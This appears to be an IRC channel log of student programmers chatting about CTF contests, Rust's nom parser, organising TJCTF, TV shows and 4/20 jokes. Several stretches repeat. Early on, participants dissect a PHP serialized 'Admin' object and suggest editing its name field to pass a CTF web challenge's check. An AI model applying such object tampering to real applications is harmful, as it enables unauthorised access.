[2015-04-19T13:20:13-0400] <alokpathy> Mhm
[2015-04-19T13:20:20-0400] <alokpathy> 5 hours left, not available for 4 of them
[2015-04-19T13:26:37-0400] <alokpathy> Also was fairly useless throughout the entire thing
[2015-04-19T15:08:10-0400] <Fill> awe: so, as of today, the parser on my rust project is now backed by nom -- yay! It was such an awesome experience. It's really cool. Plus, now it builds on nightly *and* beta :D I just need to improve error handling on the parser. This is also a problem on nom - error handling is not that friendly for the end-user - but other than that, I really like that library
[2015-04-19T15:08:54-0400] <Fill> no more rustc features required by rust-peg bloating my project and making it uncompilable on beta
[2015-04-19T15:09:41-0400] <Fill> I'm also considering redesigning some parts of the project to give more flexibility in some places, but I have to sit and think about it
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[2015-04-19T15:21:25-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-18T22:28:08-0400] <LittleBobbyTables> paste what you got
[2015-04-18T22:28:11-0400] <LittleBobbyTables> i'll explain it to you
[2015-04-18T22:29:28-0400] <failedxyz> so
[2015-04-18T22:29:29-0400] <failedxyz> O:5:"Admin":1:{s:4:"name";s:11:"54.89.0.207";}
[2015-04-18T22:29:34-0400] <failedxyz> s = string
[2015-04-18T22:29:36-0400] <failedxyz> O = object
[2015-04-18T22:29:41-0400] <failedxyz> ?
[2015-04-18T22:30:07-0400] <failedxyz> Admin = { name: "54.89.0.207" }?
[2015-04-18T22:30:07-0400] <LittleBobbyTables> yeah
[2015-04-18T22:30:12-0400] <LittleBobbyTables> also, thanks for your ip :P
[2015-04-18T22:30:20-0400] <failedxyz> not my ip
[2015-04-18T22:30:22-0400] <failedxyz> :)
[2015-04-18T22:30:28-0400] <failedxyz> http://hurl.it
[2015-04-18T22:30:28-0400] <LittleBobbyTables> s:4: is
[2015-04-18T22:30:31-0400] <LittleBobbyTables> string with a length of 4
[2015-04-18T22:30:41-0400] <failedxyz> then it's just an enum, not a keyed dictionary?
[2015-04-18T22:30:50-0400] <LittleBobbyTables> kind of
[2015-04-18T22:30:52-0400] <LittleBobbyTables> your name is the ip
[2015-04-18T22:31:02-0400] <LittleBobbyTables> so if you were to change it to
[2015-04-18T22:31:07-0400] <LittleBobbyTables> s:5:"admin"
[2015-04-18T22:31:08-0400] <LittleBobbyTables> at the end
[2015-04-18T22:31:11-0400] <LittleBobbyTables> instead of 11 ip
[2015-04-18T22:31:19-0400] <LittleBobbyTables> it'll say "hello admin, you don't look like admin"
[2015-04-18T22:31:21-0400] <z3t> no public hints
[2015-04-18T22:31:54-0400] <LittleBobbyTables> I don't think anyone here is actually participating except for you
[2015-04-18T22:32:01-0400] <LittleBobbyTables> and you're at the same part lol
[2015-04-18T22:58:22-0400] <JacobEdelman> umm... wait, you guys shouldn't discuss cctf or plaidctf problems here
[2015-04-18T22:58:23-0400] <JacobEdelman> seriosly
[2015-04-18T22:58:59-0400] <z3t> i have all plaidctf flags
[2015-04-18T22:58:59-0400] • awe: doesn't care.
[2015-04-18T22:59:03-0400] <z3t> would you be mad if I posted them
[2015-04-18T23:07:31-0400] <LittleBobbyTables> why JacobEdelman 
[2015-04-18T23:09:44-0400] <JacobEdelman> awe: but people here are doing them
[2015-04-18T23:10:08-0400] • awe: shrugs.
[2015-04-19T01:32:27-0400] <LittleBobbyTables> failedxyz: do web f pls
[2015-04-19T11:23:50-0400] <JacobEdelman> so
[2015-04-19T11:25:37-0400] <JacobEdelman> bob_twinkles: awe: Hyper: if I'm given a lambda calculus expression X and given a function Y and told that X = the beta reduction of F(Y) for some lambda expression Y, how can I find Y?
[2015-04-19T11:34:08-0400] <JacobEdelman> never mind, i think I got it
[2015-04-19T13:10:27-0400] <alokpathy> JacobEdelman: Can I play CCTF?
[2015-04-19T13:10:35-0400] <alokpathy> JacobEdelman: And how long does it last?
[2015-04-19T13:10:45-0400] <JacobEdelman> a week I think
[2015-04-19T13:10:49-0400] <JacobEdelman> and yes, you can play it
[2015-04-19T13:10:56-0400] <JacobEdelman> failedxyz says it was good
[2015-04-19T13:16:41-0400] <z3t> Give up on plaid, alokpathy ?
[2015-04-19T13:20:13-0400] <alokpathy> Mhm
[2015-04-19T13:20:20-0400] <alokpathy> 5 hours left, not available for 4 of them
[2015-04-19T13:26:37-0400] <alokpathy> Also was fairly useless throughout the entire thing
[2015-04-19T15:08:10-0400] <Fill> awe: so, as of today, the parser on my rust project is now backed by nom -- yay! It was such an awesome experience. It's really cool. Plus, now it builds on nightly *and* beta :D I just need to improve error handling on the parser. This is also a problem on nom - error handling is not that friendly for the end-user - but other than that, I really like that library
[2015-04-19T15:08:54-0400] <Fill> no more rustc features required by rust-peg bloating my project and making it uncompilable on beta
[2015-04-19T15:09:41-0400] <Fill> I'm also considering redesigning some parts of the project to give more flexibility in some places, but I have to sit and think about it
[2015-04-19T15:21:26-0400] Mode is +nrt
[2015-04-19T15:22:00-0400] <+awe> Fill: Yeah, I think the coolest part is the way nom allows you to structure your parsers, too.
[2015-04-19T15:22:17-0400] <Fill> exactly
[2015-04-19T15:22:37-0400] <Fill> I love it how you just start small and then compose small parsers
[2015-04-19T15:22:47-0400] <Fill> and keep doing that until you get a very powerful parser
[2015-04-19T15:22:53-0400] <Fill> it's so beautiful
[2015-04-19T15:24:23-0400] <+awe> This is why functional programming is cool. ;)
[2015-04-19T15:27:46-0400] <Fill> that's why I want to learn pure functional programming
[2015-04-19T15:28:27-0400] <Fill> I had a course on functional programming, but it was on 1st year. I think it was too early for me, since I wasn't particularly interested and didn't find it very useful, but now I'm starting to see how it is cool
[2015-04-19T15:33:58-0400] <z3t> yay ACT tomorrow
[2015-04-19T15:48:04-0400] <LittleBobbyTables> z3t: you here
[2015-04-19T15:48:04-0400] <+awebot> LittleBobbyTables: 14 minutes ago, z3t said skid.
[2015-04-19T15:48:09-0400] <LittleBobbyTables> god damn it z3t
[2015-04-19T15:52:58-0400] <z3t> lol
[2015-04-19T15:53:00-0400] <z3t> ye sup
[2015-04-19T15:54:26-0400] <LittleBobbyTables> web d
[2015-04-19T15:54:28-0400] <LittleBobbyTables> is easy
[2015-04-19T15:54:34-0400] <LittleBobbyTables> web f is still being dumb
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[2015-04-19T17:50:02-0400] <JacobEdelman_> I have infiltriated ben's suite
[2015-04-19T17:52:18-0400] <+awe> Cool stuff.
[2015-04-19T17:52:18-0400] <+awebot> awe: 2 hours ago, z3t said hi.
[2015-04-19T17:52:23-0400] <+awe> hi z3t.
[2015-04-19T17:52:44-0400] <Hyper> JacobEdelman_: I'm proud of you
[2015-04-19T17:57:38-0400] <JacobEdelman_> there is pizza here
[2015-04-19T17:57:39-0400] <JacobEdelman_> or was
[2015-04-19T17:57:47-0400] <JacobEdelman_> also, crazy physics
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[2015-04-19T18:04:35-0400] <JacobEdelman_> lolmythesis.com
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[2015-04-19T21:11:19-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-18T22:58:59-0400] <z3t> i have all plaidctf flags
[2015-04-18T22:58:59-0400] • awe: doesn't care.
[2015-04-18T22:59:03-0400] <z3t> would you be mad if I posted them
[2015-04-18T23:07:31-0400] <LittleBobbyTables> why JacobEdelman 
[2015-04-18T23:09:44-0400] <JacobEdelman> awe: but people here are doing them
[2015-04-18T23:10:08-0400] • awe: shrugs.
[2015-04-19T01:32:27-0400] <LittleBobbyTables> failedxyz: do web f pls
[2015-04-19T11:23:50-0400] <JacobEdelman> so
[2015-04-19T11:25:37-0400] <JacobEdelman> bob_twinkles: awe: Hyper: if I'm given a lambda calculus expression X and given a function Y and told that X = the beta reduction of F(Y) for some lambda expression Y, how can I find Y?
[2015-04-19T11:34:08-0400] <JacobEdelman> never mind, i think I got it
[2015-04-19T13:10:27-0400] <alokpathy> JacobEdelman: Can I play CCTF?
[2015-04-19T13:10:35-0400] <alokpathy> JacobEdelman: And how long does it last?
[2015-04-19T13:10:45-0400] <JacobEdelman> a week I think
[2015-04-19T13:10:49-0400] <JacobEdelman> and yes, you can play it
[2015-04-19T13:10:56-0400] <JacobEdelman> failedxyz says it was good
[2015-04-19T13:16:41-0400] <z3t> Give up on plaid, alokpathy ?
[2015-04-19T13:20:13-0400] <alokpathy> Mhm
[2015-04-19T13:20:20-0400] <alokpathy> 5 hours left, not available for 4 of them
[2015-04-19T13:26:37-0400] <alokpathy> Also was fairly useless throughout the entire thing
[2015-04-19T15:08:10-0400] <Fill> awe: so, as of today, the parser on my rust project is now backed by nom -- yay! It was such an awesome experience. It's really cool. Plus, now it builds on nightly *and* beta :D I just need to improve error handling on the parser. This is also a problem on nom - error handling is not that friendly for the end-user - but other than that, I really like that library
[2015-04-19T15:08:54-0400] <Fill> no more rustc features required by rust-peg bloating my project and making it uncompilable on beta
[2015-04-19T15:09:41-0400] <Fill> I'm also considering redesigning some parts of the project to give more flexibility in some places, but I have to sit and think about it
[2015-04-19T15:22:00-0400] <+awe> Fill: Yeah, I think the coolest part is the way nom allows you to structure your parsers, too.
[2015-04-19T15:22:17-0400] <Fill> exactly
[2015-04-19T15:22:37-0400] <Fill> I love it how you just start small and then compose small parsers
[2015-04-19T15:22:47-0400] <Fill> and keep doing that until you get a very powerful parser
[2015-04-19T15:22:53-0400] <Fill> it's so beautiful
[2015-04-19T15:24:23-0400] <+awe> This is why functional programming is cool. ;)
[2015-04-19T15:27:46-0400] <Fill> that's why I want to learn pure functional programming
[2015-04-19T15:28:27-0400] <Fill> I had a course on functional programming, but it was on 1st year. I think it was too early for me, since I wasn't particularly interested and didn't find it very useful, but now I'm starting to see how it is cool
[2015-04-19T15:33:57-0400] <z3t> yay ACT tomorrow
[2015-04-19T15:48:04-0400] <LittleBobbyTables> z3t: you here
[2015-04-19T15:48:04-0400] <+awebot> LittleBobbyTables: 14 minutes ago, z3t said skid.
[2015-04-19T15:48:09-0400] <LittleBobbyTables> god damn it z3t
[2015-04-19T15:52:57-0400] <z3t> lol
[2015-04-19T15:53:00-0400] <z3t> ye sup
[2015-04-19T15:54:26-0400] <LittleBobbyTables> web d
[2015-04-19T15:54:28-0400] <LittleBobbyTables> is easy
[2015-04-19T15:54:34-0400] <LittleBobbyTables> web f is still being dumb
[2015-04-19T17:50:02-0400] <JacobEdelman_> I have infiltriated ben's suite
[2015-04-19T17:52:18-0400] <+awe> Cool stuff.
[2015-04-19T17:52:18-0400] <+awebot> awe: 2 hours ago, z3t said hi.
[2015-04-19T17:52:23-0400] <+awe> hi z3t.
[2015-04-19T17:52:44-0400] <Hyper> JacobEdelman_: I'm proud of you
[2015-04-19T17:57:38-0400] <JacobEdelman_> there is pizza here
[2015-04-19T17:57:39-0400] <JacobEdelman_> or was
[2015-04-19T17:57:47-0400] <JacobEdelman_> also, crazy physics
[2015-04-19T18:04:35-0400] <JacobEdelman_> lolmythesis.com
[2015-04-19T20:27:26-0400] <calc0000> .
[2015-04-19T20:27:42-0400] <bob_twinkles> k
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[2015-04-19T21:13:06-0400] <alokpathy> JacobEdelman: Tell Ben's friends I said hi.
[2015-04-19T21:38:54-0400] <JacobEdelman> To late
[2015-04-19T21:39:10-0400] <JacobEdelman> Also, you go to Princeton more than I do
[2015-04-19T21:40:01-0400] <alokpathy> That doesn't mean you couldn't say hi to them for me :P
[2015-04-19T21:40:06-0400] <alokpathy> Plus I have no idea where Ben stays.
[2015-04-19T21:44:09-0400] <JacobEdelman> Go to frist
[2015-04-19T21:44:18-0400] <JacobEdelman> Take right
[2015-04-19T21:44:24-0400] <JacobEdelman> Through the woods
[2015-04-19T21:44:46-0400] <JacobEdelman> Keep wandering till buildings get shorter
[2015-04-19T21:45:03-0400] <JacobEdelman> Look for Gauss sign
[2015-04-19T21:45:09-0400] <JacobEdelman> Then you are done
[2015-04-19T21:45:11-0400] <JacobEdelman> Simple
[2015-04-19T21:45:19-0400] <JacobEdelman> 😀
[2015-04-19T21:45:24-0400] <alokpathy> Well then
[2015-04-19T21:56:31-0400] <sdamashek> Tamini: holy crap s03e14
[2015-04-19T21:56:56-0400] <Tamini> ?
[2015-04-19T21:56:59-0400] <Tamini> context
[2015-04-19T21:57:00-0400] <alokpathy> Community?
[2015-04-19T21:57:18-0400] <alokpathy> Or maybe he used numbers to represent letters
[2015-04-19T21:57:20-0400] <alokpathy> hmm
[2015-04-19T21:57:22-0400] <alokpathy> soeela
[2015-04-19T21:57:59-0400] <Tamini> which ep is that, sdamashek 
[2015-04-19T21:58:19-0400] <sdamashek> community
[2015-04-19T21:58:29-0400] <sdamashek> Tamini: the second half of the pillows vs blankets war episode
[2015-04-19T21:59:11-0400] <Tamini> oh LOL
[2015-04-19T21:59:53-0400] <Tamini> wait were you there when i was talking about
[2015-04-19T21:59:59-0400] <Tamini> how i wanted to do that with the new commons chairs
[2015-04-19T22:00:31-0400] <jwoglom> speaking of the commons furniture michael and friends did cover up priddy's door, lol
[2015-04-19T22:00:31-0400] <+awebot> jwoglom: A day ago, z3t said <3.
[2015-04-19T22:00:47-0400] <Tamini> we didn't get in trouble even
[2015-04-19T22:00:53-0400] <sdamashek> lol no
[2015-04-19T22:00:59-0400] <sdamashek> we don't have nearly enough though
[2015-04-19T22:01:11-0400] <jwoglom> @note z3t tomorrow, jwoglom says 420blazeit
[2015-04-19T22:01:27-0400] <jwoglom> @tell z3t tomorrow, jwoglom says 420blazeit
[2015-04-19T22:01:28-0400] <+awebot> jwoglom: I'll let them know!
[2015-04-19T22:04:49-0400] <Tamini> i really want to build a fort sometime
[2015-04-19T22:06:58-0400] <jwoglom> they've done that before in the geo commons
[2015-04-19T22:07:07-0400] <jwoglom> there's like no space inside iirc
[2015-04-19T22:07:14-0400] <sdamashek> have they done that through the whole school though?
[2015-04-19T22:07:20-0400] <sdamashek> like in community :P
[2015-04-19T22:07:50-0400] <jwoglom> well, you aren't supposed to remove the furniture from the common areas, remember!!?!?
[2015-04-19T22:08:09-0400] <sdamashek> well there wouldn't be enough, you'd have to bring stuff in
[2015-04-19T22:08:23-0400] <jwoglom> i guess we should be glad they aren't constructing the rest of the building with that mesh/foam stuff
[2015-04-19T22:08:36-0400] <z3t> ayy das right 4/20
[2015-04-19T22:08:36-0400] <+awebot> z3t: 7 minutes ago, jwoglom said tomorrow, jwoglom says 420blazeit.
[2015-04-19T22:08:47-0400] <jwoglom> the cost would go well into the millions :P
[2015-04-19T22:11:03-0400] <z3t> we gonna blaze it over at weedson tomorrow
[2015-04-19T22:11:29-0400] <+awe> I have a meeting with my advisor tomorrow. ;)
[2015-04-19T22:12:20-0400] <z3t> ayy awe blazin' it with the advisor
[2015-04-19T22:12:24-0400] <jwoglom> sounds fun
[2015-04-19T22:13:12-0400] <bob_twinkles> protip: if you plan to use beamer, *do not* wait until the last minute
[2015-04-19T22:13:16-0400] <bob_twinkles> shit's complicated
[2015-04-19T22:13:49-0400] <z3t> django :(
[2015-04-19T22:13:56-0400] <+awe> z3t: yeah, we're going to get high and talk about symbolic execution.
[2015-04-19T22:14:00-0400] <bob_twinkles> lol django
[2015-04-19T22:14:10-0400] <bob_twinkles> arguably more complicated than beamer
[2015-04-19T22:16:57-0400] <jwoglom> bob_twinkles: latex beamer?
[2015-04-19T22:17:12-0400] <bob_twinkles> yeah
[2015-04-19T22:17:13-0400] <jwoglom> also yeah django is complicated
[2015-04-19T22:17:29-0400] <bob_twinkles> well, beamer in poster mode which is a bit wonkier than standard beaemer
[2015-04-19T22:17:41-0400] <bob_twinkles> normal beamer seems like it's pretty sane, just it's a large API for a large problem sapce
[2015-04-19T22:17:44-0400] <bob_twinkles> *space
[2015-04-19T22:30:36-0400] <Tamini> sdamashek: got im rewatching stuff now
[2015-04-19T22:30:47-0400] <sdamashek> heh
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[2015-04-19T23:45:52-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-19T23:20:04-0400] <jwoglom> and there's nothing on the twitter or fb feeds
[2015-04-19T23:20:21-0400] <bob_twinkles> mostly because the organizers are all juniors or seniors
[2015-04-19T23:20:24-0400] <alokpathy> Is registration still not up?
[2015-04-19T23:20:32-0400] <alokpathy> bob_twinkles: Shouldn't the seniors be able to do something? :P
[2015-04-19T23:20:33-0400] <bob_twinkles> uh...
[2015-04-19T23:20:33-0400] <jwoglom> yep
[2015-04-19T23:20:34-0400] <bob_twinkles> it works
[2015-04-19T23:20:40-0400] <bob_twinkles> but it's not public
[2015-04-19T23:20:41-0400] <bob_twinkles> yet
[2015-04-19T23:20:50-0400] <failedxyz> lol
[2015-04-19T23:21:01-0400] <bob_twinkles> alokpathy: that would involve being less lazy
[2015-04-19T23:21:03-0400] <LittleBobbyTables> bob_twinkles: aren't you supposed to be good at this stuff?
[2015-04-19T23:21:09-0400] <alokpathy> Ah
[2015-04-19T23:21:16-0400] <bob_twinkles> I'm not working on the site
[2015-04-19T23:21:25-0400] <bob_twinkles> I might write some problems some time over the week
[2015-04-19T23:21:34-0400] <bob_twinkles> but I've actually got a bunch of other projects
[2015-04-19T23:21:36-0400] <bob_twinkles> and I'm lazy
[2015-04-19T23:21:41-0400] <bob_twinkles> mostly the later
[2015-04-19T23:22:50-0400] <LittleBobbyTables> latter?
[2015-04-19T23:23:06-0400] <bob_twinkles> somehow I decided rewritting the threading archetecture of cslbot was important and a good use of my time
[2015-04-19T23:23:08-0400] <bob_twinkles> sure
[2015-04-19T23:23:33-0400] <jwoglom> isn't susanna involved as well
[2015-04-19T23:23:37-0400] <jwoglom> she's a sophomore
[2015-04-19T23:23:39-0400] <jwoglom> plus sdamashek
[2015-04-19T23:23:58-0400] <bob_twinkles> AFAIK Susanna hasn't really done anything, and sdamashek is... I dunno, watching community or something
[2015-04-19T23:24:03-0400] <bob_twinkles> he's written a bunch of problems though
[2015-04-19T23:24:19-0400] <bob_twinkles> as has fwilson
[2015-04-19T23:25:03-0400] <alokpathy> TJCTF should definitely happen.
[2015-04-19T23:25:19-0400] <alokpathy> It'd be one of the better HS-only CTFs 
[2015-04-19T23:25:20-0400] <bob_twinkles> we have a bunch of problems and infrastructure
[2015-04-19T23:26:03-0400] <bob_twinkles> it's just not 100% together yet
[2015-04-19T23:27:18-0400] <LittleBobbyTables> Community is a valid excuse.
[2015-04-19T23:27:50-0400] <alokpathy> Hope you guys end up doing it :)
[2015-04-19T23:28:14-0400] <jwoglom> honestly like, if you guys want it to happen
[2015-04-19T23:28:16-0400] <jwoglom> do it now
[2015-04-19T23:28:18-0400] <jwoglom> before may
[2015-04-19T23:28:37-0400] <jwoglom> because if you delay it to may, i guarantee it's never going to happen
[2015-04-19T23:34:04-0400] <sdamashek> what
[2015-04-19T23:34:07-0400] <sdamashek> I'm watching community
[2015-04-19T23:34:30-0400] <sdamashek> bob_twinkles: I've done a lot of infrastructure stuff
[2015-04-19T23:35:24-0400] <sdamashek> eric sun just doesn't really care about it and that's where the site is hosted
[2015-04-19T23:35:41-0400] <bob_twinkles> esun just doesn't really care
[2015-04-19T23:36:07-0400] <sdamashek> jwoglom: we're not delaying it until may
[2015-04-19T23:36:28-0400] <sdamashek> we're delaying it until the 25th and shortening it to 3-4 days
[2015-04-19T23:37:16-0400] <alokpathy> Intense
[2015-04-19T23:38:52-0400] <jwoglom> sdamashek: ok good, i'm just saying that if you continued to push it back and you got to may it'd probably never happen :P
[2015-04-19T23:38:59-0400] <sdamashek> no, that's it
[2015-04-19T23:39:47-0400] <bob_twinkles> yeah, zwade/cdeboor have been putting a bunch of work in over the last week or so to get the site up
[2015-04-19T23:40:49-0400] <sdamashek> all of the problem infrastructure including the problem server, shell server, and problem site with the pico api is all up
[2015-04-19T23:40:53-0400] <sdamashek> firewalled to my ip, but up
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[2015-04-19T23:50:53-0400] <Tamini> also
[2015-04-19T23:50:59-0400] <Tamini> everyone congratulate cdb tomorrow, btw
[2015-04-19T23:51:06-0400] <Tamini> he made usaco camp as a senior which is
[2015-04-19T23:51:11-0400] <Tamini> for all intents and purposes impossible
[2015-04-19T23:51:34-0400] <jwoglom> isn't everything about corwin, like, literally impossible
[2015-04-19T23:51:50-0400] <alokpathy> It's possible if you've gone before, but if you don't it's like
[2015-04-19T23:51:52-0400] <alokpathy> mad hard
[2015-04-19T23:52:47-0400] <Tamini> jamie is still a god though
[2015-04-19T23:52:53-0400] <alokpathy> Tru
[2015-04-19T23:52:57-0400] <alokpathy> I mean if you make camp in general
[2015-04-19T23:53:00-0400] <alokpathy> you are godly
[2015-04-19T23:53:02-0400] <alokpathy> xD
[2015-04-20T00:00:04-0400] <jwoglom> happy 420blazeit day
[2015-04-20T00:00:09-0400] <alokpathy> Ayyy
[2015-04-20T00:00:52-0400] <alokpathy> Are you srs TJers
[2015-04-20T00:00:55-0400] <alokpathy> I'm not free that weekend
[2015-04-20T00:00:57-0400] <alokpathy> y u do dis
[2015-04-20T00:02:15-0400] <sdamashek> email sent and website updated
[2015-04-20T00:02:18-0400] <sdamashek> sorryyy
[2015-04-20T00:02:25-0400] <jwoglom> sdamashek: twitter/fb?
[2015-04-20T00:02:30-0400] <sdamashek> I'm doing facebook
[2015-04-20T00:02:33-0400] <jwoglom> maybe at a more reasonable time tho
[2015-04-20T00:02:36-0400] <sdamashek> claudia is the only one with the twitter
[2015-04-20T00:02:41-0400] <jwoglom> ..lol https://www.facebook.com/tjctf
[2015-04-20T00:03:36-0400] <alokpathy> Um
[2015-04-20T00:03:38-0400] <alokpathy> I have no words.
[2015-04-20T00:04:51-0400] <bob_twinkles> oops
[2015-04-20T00:05:31-0400] <jwoglom> i like how the email was sent exactly at 12:00am, lol
[2015-04-20T00:06:42-0400] <kenzierocks> sdamashek: the 25th???
[2015-04-20T00:06:43-0400] <+awebot> kenzierocks: A day ago, z3t said <3.
[2015-04-20T00:06:53-0400] <kenzierocks> but I'm at cmu then
[2015-04-20T00:07:00-0400] <Tamini> oh, wait
[2015-04-20T00:07:01-0400] <kenzierocks> z3t: <3
[2015-04-20T00:07:03-0400] <Tamini> so is corwin.
[2015-04-20T00:07:07-0400] <Tamini> and zach
[2015-04-20T00:07:15-0400] <alokpathy> ...um
[2015-04-20T00:07:17-0400] <kenzierocks> 10/10 planning
[2015-04-20T00:07:18-0400] <Tamini> and all of raelly for that matter
[2015-04-20T00:07:19-0400] <Tamini> LOL
[2015-04-20T00:07:22-0400] <Tamini> sdamashek: um
[2015-04-20T00:07:23-0400] <alokpathy> Yeah um
[2015-04-20T00:07:26-0400] <alokpathy> Very um
[2015-04-20T00:09:06-0400] <jwoglom> what infra stuff do you guys still need to work out?
[2015-04-20T00:10:30-0400] <sdamashek> Tamini: that was planned for
[2015-04-20T00:10:32-0400] <sdamashek> they get back at noon
[2015-04-20T00:10:47-0400] <Tamini> .oh
[2015-04-20T00:10:49-0400] <sdamashek> according to them, at least
[2015-04-20T00:10:50-0400] <Tamini> well then
[2015-04-20T00:11:07-0400] <Tamini> i still wish i could dress up at drogers and go
[2015-04-20T00:11:10-0400] <sdamashek> jwoglom: transferring azure subscriptions to paid subscriptions and working stuff out with ms
[2015-04-20T00:11:30-0400] <sdamashek> also only corwin and claudia can post as tjctf on fb
[2015-04-20T00:11:43-0400] <sdamashek> also happy 4/20
[2015-04-20T00:12:45-0400] <jwoglom> you're 12 minutes late m8 :P
[2015-04-20T00:13:00-0400] <sdamashek> Tamini: how late does corwin usually stay up
[2015-04-20T00:13:01-0400] <alokpathy> At least be 420 minutes late :P
[2015-04-20T00:13:05-0400] <sdamashek> does anybody know
[2015-04-20T00:13:05-0400] <Tamini> um
[2015-04-20T00:13:09-0400] <Tamini> cdb goes to bed at 10 every night
[2015-04-20T00:13:12-0400] <Tamini> LOL
[2015-04-20T00:13:16-0400] <sdamashek> damn it
[2015-04-20T00:13:16-0400] <Tamini> usually
[2015-04-20T00:13:21-0400] <Tamini> he stays up later when he had shit to do tho
[2015-04-20T00:13:25-0400] <+awe> Happy, 4/20, everyone.
[2015-04-20T00:13:33-0400] <+awe> s/,//
[2015-04-20T00:14:02-0400] <kenzierocks> PST please
[2015-04-20T00:14:13-0400] <alokpathy> kenzierocks: So behind :P
[2015-04-20T00:14:16-0400] <alokpathy> Catch up yo
[2015-04-20T00:14:29-0400] • kenzierocks: sprints across US
[2015-04-20T00:14:48-0400] <Tamini> edt only timezone
[2015-04-20T00:15:00-0400] <+awe> It's 4/20 from the future.
[2015-04-20T00:15:04-0400] <+awe> Ayyyyyy, dank memes everyday.
[2015-04-20T00:18:22-0400] <jwoglom> E(S/D)T is best timezone
[2015-04-20T00:18:53-0400] <+awe> @tell fwilson Don't forget to smoke some dank memes today!
[2015-04-20T00:18:53-0400] <+awebot> awe: I'll let them know!
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[2015-04-20T01:54:16-0400] <LittleBobbyTables> awe, are you smoking dank memes?
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[2015-04-20T06:26:32-0400] <JacobEdelman> Gmorning all
[2015-04-20T06:27:14-0400] <fwilson> i'm making dank memes today
[2015-04-20T06:27:14-0400] <+awebot> fwilson: A day ago, z3t said <3.
[2015-04-20T06:27:14-0400] <+awebot> fwilson: 6 hours ago, awe said Don't forget to smoke some dank memes today!
[2015-04-20T06:29:02-0400] <JacobEdelman> sdamashek: you know, if you guys need help with the pico server you can ask me or failedxyz
[2015-04-20T06:29:12-0400] <JacobEdelman> Both of us have it working
[2015-04-20T06:29:39-0400] <JacobEdelman> Also, fwilson your insane for being up this early
[2015-04-20T06:29:42-0400] <JacobEdelman> Go back to bed
[2015-04-20T06:29:49-0400] <fwilson> TJ
[2015-04-20T06:29:52-0400] <fwilson> i'm going to school today
[2015-04-20T06:29:59-0400] <JacobEdelman> Wwp, same
[2015-04-20T06:30:16-0400] <fwilson> i'm almost sleeping in this chair
[2015-04-20T06:30:31-0400] <fwilson> i am tired
[2015-04-20T06:30:43-0400] <JacobEdelman> Same
[2015-04-20T06:31:27-0400] <JacobEdelman> And having vivid dreams about interviewing Brian green who was some how an actor in the flash doesn't help
[2015-04-20T06:31:42-0400] <JacobEdelman> My dreams are getting weird
[2015-04-20T06:31:44-0400] <JacobEdelman> .....
[2015-04-20T06:32:38-0400] <JacobEdelman> Well, I most eat now
[2015-04-20T06:32:40-0400] <JacobEdelman> Good bye
[2015-04-20T06:34:40-0400] <fwilson> https://xkcd.com/1014/
[2015-04-20T06:34:42-0400] <fwilson> bye
[2015-04-20T06:46:28-0400] <JacobEdelman> fwilson: lol
[2015-04-20T07:17:05-0400] <sdamashek> JacobEdelman: we have it working
[2015-04-20T07:36:44-0400] <sdamashek> it's more legal issues and microsoft being a slow bureaucracy
[2015-04-20T07:37:04-0400] <sdamashek> just things we have to work out
[2015-04-20T07:37:16-0400] <sdamashek> technically speaking, everything is working
[2015-04-20T07:40:02-0400] <JacobEdelman> sdamashek: oh, okay, great
[2015-04-20T07:40:06-0400] <JacobEdelman> good luck
[2015-04-20T08:32:59-0400] <sdamashek> thanks!
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[2015-04-20T11:26:45-0400] <JacobEdelman> what is it with math people using unicode in the programming languages they design
[2015-04-20T11:27:00-0400] <JacobEdelman> I mean, its fine to support unicode, but unicode shouldn't be needed everytime you reference a variable
[2015-04-20T12:06:59-0400] <JacobEdelman> okay 
[2015-04-20T12:07:03-0400] <JacobEdelman> I hate wolfram language
[2015-04-20T12:07:06-0400] <JacobEdelman> so much
[2015-04-20T12:07:07-0400] <JacobEdelman> arg
[2015-04-20T12:21:41-0400] <+awe> JacobEdelman: it's so that I can have emoji variables, mang.
[2015-04-20T12:24:35-0400] <JacobEdelman> lol
[2015-04-20T12:25:04-0400] <JacobEdelman> so, at first it looks like it would make a nice language for some sciencey stuff, where demosntrations and code can be easily understood and succint
[2015-04-20T12:25:14-0400] <JacobEdelman> but then you realize that
[2015-04-20T12:25:33-0400] <JacobEdelman> it only is nice and succint for things that use its builtin functions
[2015-04-20T12:26:08-0400] <JacobEdelman> which, although there are many, one company can't get even near covering all needed functions
[2015-04-20T12:26:38-0400] <JacobEdelman> as far as I can find there is no module ecosystem whatsoever
[2015-04-20T12:26:55-0400] <JacobEdelman> and the other problem is the syntax of the language is disgusting
[2015-04-20T12:27:38-0400] <JacobEdelman> its like someone took a functional language, expressive language,  and than decided to use weird symbols for everything rather than nice words becuase EVERY SINGLE WORD seems to be already defined
[2015-04-20T12:27:51-0400] <JacobEdelman> as a function
[2015-04-20T12:27:53-0400] <JacobEdelman> okay, rant done
[2015-04-20T12:45:01-0400] Disconnect for Sleep Mode
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[2015-04-20T15:41:23-0400] Topic is PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-04-20T15:41:23-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-20T06:27:14-0400] <+awebot> fwilson: A day ago, z3t said <3.
[2015-04-20T06:27:14-0400] <+awebot> fwilson: 6 hours ago, awe said Don't forget to smoke some dank memes today!
[2015-04-20T06:29:02-0400] <JacobEdelman> sdamashek: you know, if you guys need help with the pico server you can ask me or failedxyz
[2015-04-20T06:29:12-0400] <JacobEdelman> Both of us have it working
[2015-04-20T06:29:38-0400] <JacobEdelman> Also, fwilson your insane for being up this early
[2015-04-20T06:29:42-0400] <JacobEdelman> Go back to bed
[2015-04-20T06:29:49-0400] <fwilson> TJ
[2015-04-20T06:29:52-0400] <fwilson> i'm going to school today
[2015-04-20T06:29:59-0400] <JacobEdelman> Wwp, same
[2015-04-20T06:30:16-0400] <fwilson> i'm almost sleeping in this chair
[2015-04-20T06:30:31-0400] <fwilson> i am tired
[2015-04-20T06:30:43-0400] <JacobEdelman> Same
[2015-04-20T06:31:27-0400] <JacobEdelman> And having vivid dreams about interviewing Brian green who was some how an actor in the flash doesn't help
[2015-04-20T06:31:42-0400] <JacobEdelman> My dreams are getting weird
[2015-04-20T06:31:44-0400] <JacobEdelman> .....
[2015-04-20T06:32:37-0400] <JacobEdelman> Well, I most eat now
[2015-04-20T06:32:40-0400] <JacobEdelman> Good bye
